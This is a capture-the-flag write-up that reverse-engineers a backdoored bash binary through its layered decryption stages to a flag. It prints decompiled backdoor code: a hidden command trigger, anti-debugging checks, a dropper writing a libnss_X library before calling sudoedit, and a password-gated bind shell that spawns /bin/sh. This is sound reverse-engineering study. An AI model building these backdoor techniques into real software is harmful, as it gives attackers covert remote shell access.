Tags: reverse
Rating: 5.0
# Aero CTF 2021 - BashD00r (500 pts)
This is the second challenge I was able to solve, and the hardest one. The task is below:
> There seems to be something wrong with our bash.
>
> Can you see if anyone has entered the backdoor?
>
> bash.7z
So we are given a archive, which contains a "bash" binary. This binary was backdoored, so we need to find it to get the flag.
## Bash backdoor, Pt. I
While opening the file on IDA, the entry point isn't disassembled correctly. The entrypoint is placed straddling the ".text" and the ".data" section. After defining the instructions on the data section, we can locate the "main" function:
```
_data segment dword public 'DATA' use64
.data:000000000001ECA2 assume cs:_data
.data:000000000001ECA2 ;org 1ECA2h
.data:000000000001ECA2 db 1Eh
.data:000000000001ECA3 db 0FAh
.data:000000000001ECA4 ; ---------------------------------------------------------------------------
.data:000000000001ECA4 xor ebp, ebp
.data:000000000001ECA6 mov r9, rdx
.data:000000000001ECA9 pop rsi
.data:000000000001ECAA mov rdx, rsp
.data:000000000001ECAD and rsp, 0FFFFFFFFFFFFFFF0h
.data:000000000001ECB1 push rax
.data:000000000001ECB2 push rsp
.data:000000000001ECB3 lea r8, __libc_csu_fini
.data:000000000001ECBA lea rcx, __libc_csu_init
.data:000000000001ECC1 lea rdi, main
.data:000000000001ECC8 call cs:off_11EF38
.data:000000000001ECCE hlt
.data:000000000001ECCF
```
The main function is huge, thanks to inlined static functions. But we can quickly see that the main function belongs to the "shell.c" file thanks to some debug function, that look like this:
```
.data:00000000000206A5 call set_default_locale
.data:00000000000206AA call getuid_0
.data:00000000000206AF mov ebx, eax
.data:00000000000206B1 cmp eax, cs:cur_user__uid
.data:00000000000206B7 jz short loc_20731
.data:00000000000206B9 mov rdi, cs:cur_user__username
.data:00000000000206C0 test rdi, rdi
.data:00000000000206C3 jz short loc_206D6
.data:00000000000206C5 mov edx, 1642
.data:00000000000206CA lea rsi, aShellC ; "shell.c"
.data:00000000000206D1 call print_free
```
So I downloaded the bash 5.1 source tarball (the version can be identified easily thanks to program's strings), and looked at this file. But the corresponding snippet in bash source
```c
u = getuid ();
if (current_user.uid != u)
{
FREE (current_user.user_name);
```
is located at line 1292 instead of 1642. So we can tell that the binary has been recompiled from the source with the backdoor injected. I spent some time to identify the file's function, and came across this function that doesn't have anything looking like this in its sources:
```c
v26 = __readfsqword(0x28u);
v0 = (_QWORD *)sh_malloc(4096LL, "shell.c", 587LL);
v0[511] = 0LL;
memset(
(void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4096) >> 3));
*v0 = 0xDBEF3510A9ECE437LL;
v0[1] = 0xB557D3ED25ADEB3FLL;
*((_BYTE *)v0 + 16) = 40;
decrypt_string(v0, 17);
v1 = fopen_0(v0, "r");
if ( !v1 )
exit_0(0LL);
v2 = v1;
v3 = sh_malloc(1024LL, "shell.c", 645LL);
v4 = 8;
```
This function is called as an init vector by `__libc_csu_init`, before `main` function is called. The backdoor checks if bash is being debugged by looking for TracerPid field in `/proc/self/status`. The strings are encrypted with a simple algorithm, I reimplemented in Python.
```python
def decryptbuf(s):
outpt = b""
key = 24
for i in range(len(s)):
outpt += bytes([s[i] ^ key])
key = (4*key + 52) % 243
return outpt
```
Then it checks if `/home/anon/.profile` file exists, and exits if it's not the case. After that, the backdoor tries to read 32 bytes from `/proc/self/fd/777`.
Now, the real fun begins.
## Custom crypto and Feistel ciphers
The contents of /proc/self/fd/777 is transformed by some encryption algorithm, and then checked against the ciphertext. The decompiled algorithm looks like this:
```c
mysterious_array[0] = 0xE9B554BCBF7A0351LL;
mysterious_array[1] = 0x200A845B757AFF88LL;
mysterious_array[2] = 0x392848A34339A3EELL;
mysterious_array[3] = 0x21F8E1C664355C7CLL;
v9 = strlen((const char *)buffd) + 1;
bufread = (char *)buffd;
// snipped some uninteresting parts
count = 0LL;
while ( 1 )
{
v17 = count;
if ( strlen(bufread) <= count )
break;
seed1 = *(_DWORD *)&bufread[count];
seed2 = *(unsigned int *)&bufread[count + 4];
watconst2[0] = 1361583988;
watconst2[1] = -1740780829;
watconst2[2] = -1681248625;
watconst2[3] = -1992688973;
j_1 = 0;
while ( 1 )
{
v14 = seed1 + watconst2[j_1 & 3] + seed2 + j_1 + (((unsigned int)seed2 >> 8) ^ ((_DWORD)seed2 << 6));
++j_1;
seed1 = seed2;
if ( j_1 == 48 )
break;
seed2 = v14;
}
count += 8LL;
if ( mysterious_array[v17 / 8] != (seed2 << 32) + v14 )
{
print_free(watconst, "shell.c", 563LL);
goto LABEL_10;
}
}
```
By looking at the final check `mysterious_array[v17 / 8] != (seed2 << 32) + v14`, we can see that fhe first 32 upper bytes of the "mysterious_array" are the "state2", untouched, while the 32 lower bytes are computed with the "state2".
The encryption algorithm does 48 rounds of the following transformation (reimplemented in Python), where j is the round number:
```python
def do_feistel_pass(j, seed1, seed2):
tmp = (seed1 + watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))) & 0xffffffff
return (seed2, tmp)
def encrypt_data(x):
seed1, seed2 = struct.unpack("<II", x[0:8])
for j in range(48):
seed1, seed2 = do_feistel_pass(j, seed1, seed2)
return (seed1, seed2)
```
This algorithm can be inverted, since we know seed2 thank to the way it's compared to the "mysterious_array". We just need to take care of additions, which are truncated to 32 bits, which discards the additions overflow. So, the decryption function looks like this:
```python
def undo_feistel_pass(j, seed2, tmp):
while True:
blup = watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))
pass1 = tmp - blup
if pass1 > 0:
break
tmp += 0x100000000
return (pass1, seed2)
def decrypt_data(x):
seed2, tmp = ((x >> 32), x & 0xffffffff)
for i in range(47, -1, -1):
seed2, tmp = undo_feistel_pass(i, seed2, tmp)
return struct.pack("<II", seed2, tmp)
```
So, after running it on our "mysterious_array" variable:
```python
bufd = b""
for i in range(0, 32, 8):
bufd += do_unhash_block(mysterious_array[i >> 3])
```
We get the string that unlocks the "first" backdoor, and will serve as a key for the next step: `eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn`.
The next steps decrypts another ELF file with some sort of Salsa20 (thanks the magic consts), but I gave up analyzing it and just dumped the decrypted bin with gdb from a coredump after having patched the binary with int3 instruction after.
## Analysis of the second stage
The second stage uses the same trick used by the "bash" binary, which places a part of entrypoint on the ".data" section. The main function just calls the decryption function with argv[1]. The decryption function looks like this:
```c
__int64 __fastcall do_the_hustle(char *serial)
{
__m128i *key; // rbp
_QWORD *v2; // r12
_QWORD *v3; // r13
serial[31] = 0;
key = (__m128i *)calloc_0(4096LL, 1LL);
*key = _mm_load_si128(xmmword_5060);
key->m128i_i8[0] ^= 0x18u;
key->m128i_i8[1] ^= 0x94u;
key->m128i_i8[2] ^= 0x9Eu;
key->m128i_i8[3] ^= 0xC6u;
key->m128i_i8[4] ^= 0x73u;
key->m128i_i8[5] ^= 0x1Au;
key->m128i_i8[6] ^= 0x9Cu;
key->m128i_i8[7] ^= 0xBEu;
key->m128i_i8[8] ^= 0x53u;
key->m128i_i8[9] ^= 0x8Du;
key->m128i_i8[10] ^= 0x82u;
key->m128i_i8[11] ^= 0x56u;
key->m128i_i8[12] ^= 0x99u;
key->m128i_i8[13] ^= 0xB2u;
key->m128i_i8[14] ^= 0x23u;
key->m128i_i8[15] ^= 0xC0u;
v2 = (_QWORD *)malloc_0();
v3 = (_QWORD *)malloc_0();
serpent_encrypt(serial, (__int64)key, (__int64)v2, 0x10u);
if ( *v2 ^ 0x9601AAF388AB0192LL | v2[1] ^ 0x2127591BB4E06735LL )
return send_backdoor_status(0);
serpent_encrypt((_DWORD *)serial + 4, (__int64)key, (__int64)v3, 0x10u);
if ( *v3 ^ 0x582C4E2FDC6C7226LL | v3[1] ^ 0xC00B8862110C7A9DLL )
return send_backdoor_status(0);
send_backdoor_status(1);
free_0(v2);
return free_0(v3);
}
```
The Serpent encryption key is just "Dh1IuM7SV7xgZP8q" with some XOR obfuscation. The "hard" part was to identify correctly the algorithm, mais thanks to the secret technique of searching S-Boxes on Google, I came across a chinese blog (https://ctf.njupt.edu.cn/271.html), that contained the interesting S-Box
```
0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D`
```
This blog gave the CTF challenge's name it was taken from ("Touch of Satan"), and thanks to my OSINT skills, I found another chinese blog (https://blog.csdn.net/qq_38867330/article/details/102922423) that identified it as Serpent.
So I grabbed some ancient Python2 Serpent lib, tweaked it to make it run on Python 3, and after running
```python
import serpent
z = serpent.Serpent(b"Dh1IuM7SV7xgZP8q")
bin = struct.pack("<QQQQ", 0x9601AAF388AB0192, 0x2127591BB4E06735, 0x582C4E2FDC6C7226, 0xC00B8862110C7A9D)
print(z.decrypt(bin))
```
I got the key `0NSlH7m8C91boiGq10NtQKq4aP7mVyJ`
## Bash backdoor Pt. II
Since the previous binary does nothing except sending flag status through a FIFO pipe, we need to find another part of the backdoor in the bash binary.
After losing time digging into the binary (which probably costed me the first blood for this challenge ?), I found some `getenv("JAKWEULOD")` in the binary, that isn't present into official bash source code.
The function doing the getenv is called at the beginning of the "parse_and_execute", patched to run the backdoor. Let's have a look to the added code:
```c
v3 = backdoor_enabled;
if ( backdoor_enabled )
{
if ( ~(strlen((const char *)a1) + 1) == ~0x29uLL && !(unsigned int)memcmp_0(a1, "1+2+3+4+5", 9LL) )
{
((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9);
v6 = sh_malloc(4096LL, "evalstring.c", 194LL);
*(_QWORD *)(v6 + 4088) = 0LL;
// v6 = mkfifo path from the other binary, snipped bc noisy string obfu
mkfifo_0(v6, 438LL);
v9 = open_0(v6, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
read_0(v9, buf, 1);
close_0(v9);
print_free(v6, "evalstring.c", 511LL);
if ( LOBYTE(buf[0]) == 1 )
{
xmmword_14F320 = (__int128)_mm_loadu_si128((const __m128i *)(a1 + 9));
qword_14F330 = *(_QWORD *)(a1 + 25);
dword_14F338 = *(_DWORD *)(a1 + 33);
word_14F33C = *(_WORD *)(a1 + 37);
byte_14F33E = *(_BYTE *)(a1 + 39);
backdoor_activation((const char *)(a1 + 9));
}
}
```
The backdoor is triggered when entering "1+2+3+4+5" followed by the string we found before. The `((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9)` function spawns the decrypted binary we analyzed thanks to a memfd, with the string we got as a parameter. So we can trigger the code with the command
```
1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ
```
With that, we can reach `backdoor_activation` which call some crypto func with `0NSlH7m8C91boiGq10NtQKq4aP7mVyJ` as key to decrypt the function which will check the "JAKWEULOD" variable environment:
```c
void __fastcall backdoor_activation(const char *key)
{
__int64 v1; // rbp
const char *v2; // rax
const __m128i *v3; // rbx
v1 = mmap_0(0LL, 98323, 7, 34, 0, 0);
cryptoshit_again((__int64)key, (__int64)&unk_12B000, v1, 98323LL, strlen(key));
v2 = (const char *)getenv("JAKWEULOD");
if ( v2 )
{
v3 = (const __m128i *)v2;
if ( ~(strlen(v2) + 1) == ~65LL && ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2) == 1 )
{
kk1 = (__int128)_mm_loadu_si128(v3);
xmmword_14F430 = (__int128)_mm_loadu_si128(v3 + 1);
xmmword_14F440 = (__int128)_mm_loadu_si128(v3 + 2);
unk_14F450 = _mm_loadu_si128(v3 + 3);
sub_89675();
fork_and_spawn();
}
}
munmap_0(v1, 98323LL);
}
```
Since I'm lazy, I attempted to patch the binary with an "int3" breakpoint, but bash sets up its own sighandler and catches int3, so I landed in to the sighandler func.
To avoid this, I replaced the "int3" by a "jmp $0" (`"\xeb\xfe\"`), and dumped the content of the allocated buffer after calling the crypto function after attaching to the process with gdb.
The allocated buffer is called as function to check "JAKWEULOD" contents: `((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2)`.
The checking algorithm is pretty simple: it does a modular exponentiation on each char of the variable and check if the results equals a certain value. Unfortunately the modulus isn't a prime number, but since the modulus is small we can do dumb bruteforce to determine the correct char:
```python
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
```
I was too lazy to make a script to extract the exponent, modulus and the powmod value so I did by hand (fortunately b33r helps to do boring tasks) to compute the JAKWEULOD value. So after running the script which looks like this:
```python
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
flag = bytearray(b"-"*65)
elts = [
(0x7b7bc, 0x3fa, 0x6af18, 4),
(0x3fbeb, 0x2a1, 0xd56d, 0xd),
# snipped
(0x3dbca, 0x377, 0x5de6, 0x10)
]
for e in elts:
c = bf_char(e[1], e[0], e[2])
#print(hex(e[3]))
flag[e[3]] = c
print(len(elts))
print(flag)
pos = [hex(i) for i in range(len(flag)) if flag[i] == ord("-")]
print(pos)
```
we get the correct value for the env var: `mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh`.
As usual, this value is a key to decrypt the next payload, but once again the `jmp $0` trick will help us and we can dump the "final" stage:
```c
void fork_and_spawn()
{
__m128i *key; // rbx
__int64 v1; // rax
_BYTE v2[1648]; // [rsp-1CF8h] [rbp-DD10h] BYREF
__int64 v3; // [rsp-1688h] [rbp-D6A0h] BYREF
_QWORD v4[5841]; // [rsp-688h] [rbp-C6A0h] BYREF
while ( &v3 != &v4[-6144] )
;
v4[5631] = __readfsqword(0x28u);
memcpy_0(v2, &unk_ECB08, 50784);
key = (__m128i *)sh_malloc(64LL, "evalstring.c", 401LL);
key->m128i_i64[0] = 0LL;
key->m128i_i64[1] = 0LL;
key[1].m128i_i64[0] = 0LL;
key[1].m128i_i64[1] = 0LL;
key[2].m128i_i64[0] = 0LL;
key[2].m128i_i64[1] = 0LL;
key[3].m128i_i64[0] = 0LL;
key[3].m128i_i64[1] = 0LL;
*key = _mm_load_si128((const __m128i *)&xmmword_14F220);
key[1] = _mm_load_si128((const __m128i *)&xmmword_14F230);
key[2] = _mm_load_si128((const __m128i *)&xmmword_14F240);
key[3] = _mm_load_si128((const __m128i *)&xmmword_14F250);
v1 = sh_malloc(50784LL, "evalstring.c", 404LL);
cryptoshit_again((__int64)key, (__int64)v2, v1, 50784LL, 64LL);
while ( 1 ) // jmp $0 rocks :þ
;
}
```
We finally see the end of the tunnel, and dump the dropped ELF with gdb after attaching to the process.
## Final flash
After having dumped the ELF, we open it on IDA. This time, no weird tricks and IDA shows us the main function directly. The main function is useless because it just calls "sudoedit" with shitty arguments.
But remember, init functions can be called by `__libc_csu_init`, and it's the case here. We have a `setup` function, which does this:
```c
int __fastcall setup(__int64 a1, __mode_t a2)
{
FILE *s; // [rsp+8h] [rbp-8h]
FILE *sa; // [rsp+8h] [rbp-8h]
mkdir("libnss_X", a2);
s = fopen("libnss_X/A .so.2", "w");
fwrite(&libData, 1uLL, 0x4080uLL, s);
fclose(s);
sa = fopen("/tmp/shellbind", "w");
fwrite(&shellData, 1uLL, 0x4300uLL, sa);
return fclose(sa);
}
```
Luckily for me, I analyzed the "shellbind" binary, and after seening its main function:
```c
bind(fd, &addr, 0x10u);
listen(fd, 0);
v8 = accept(fd, 0LL, 0LL);
v9 = recv(v8, buf, 0x28uLL, 0);
if ( buf[v9 - 1] == 10 )
buf[v9 - 1] = 0;
for ( i = 0; i <= 37; ++i )
buf[i] ^= 0x59u;
if ( !strcmp(buf, &unk_2008) )
{
dup2(v8, 2);
dup2(v8, 1);
dup2(v8, 0);
execve("/bin/sh", 0LL, 0LL);
}
```
I found the password of the backdoor:
```python
s = bytes.fromhex("183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24")
print(bytes([x ^ 0x59 for x in s]))
```
Which gives us the flag: `Aero{49b181387f50935b39a00850b778c66f}`
